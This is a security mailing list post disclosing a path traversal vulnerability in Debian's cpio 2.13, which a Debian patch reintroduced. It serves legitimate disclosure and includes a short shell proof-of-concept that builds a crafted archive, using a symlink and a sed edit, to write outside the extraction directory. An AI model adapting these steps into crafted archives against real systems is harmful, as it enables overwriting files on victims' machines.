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Date: Thu, 21 Dec 2023 17:44:50 +0100
From: Ingo Brückl <ib@...net.de>
To: oss-security@...ts.openwall.com
Subject: Security vulnerability in Debian's cpio 2.13
Debian has applied patch "revert-CVE-2015-1197-handling" to cpio
(2.13+dfsg-7.1) to "Fix a regression in handling of CVE-2015-1197 &
--no-absolute-filenames by reverting part of an upstream commit." and to
close Debian bugs #946267 ("cpio -i --no-absolute-filenames breaks symlinks
starting with / or /..") and #946469 ("initramfs-tools-core: unmkinitrams
creates broken binaries").
This patch made Debian cpio 2.13 vulnerable to path traversal.
The vulnerability has been reported to the Debian bug tracking system:
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1059163
Instructions to craft a cpio archive to demonstrate the vulnerability:
mkdir test_cpio
ln -sf /tmp/ test_cpio/tmp
echo "TEST Traversal" > test_cpio/tmpYtrav.txt
cd test_cpio/
ls | cpio -ov > ../trav.cpio
cd ../
sed -i s/"tmpY"/"tmp\/"/g trav.cpio
Even
cpio -id --no-absolute-filenames -I trav.cpio
doesn't prevent path traversal with Debian's cpio, although it does with the
original cpio.
Ingo
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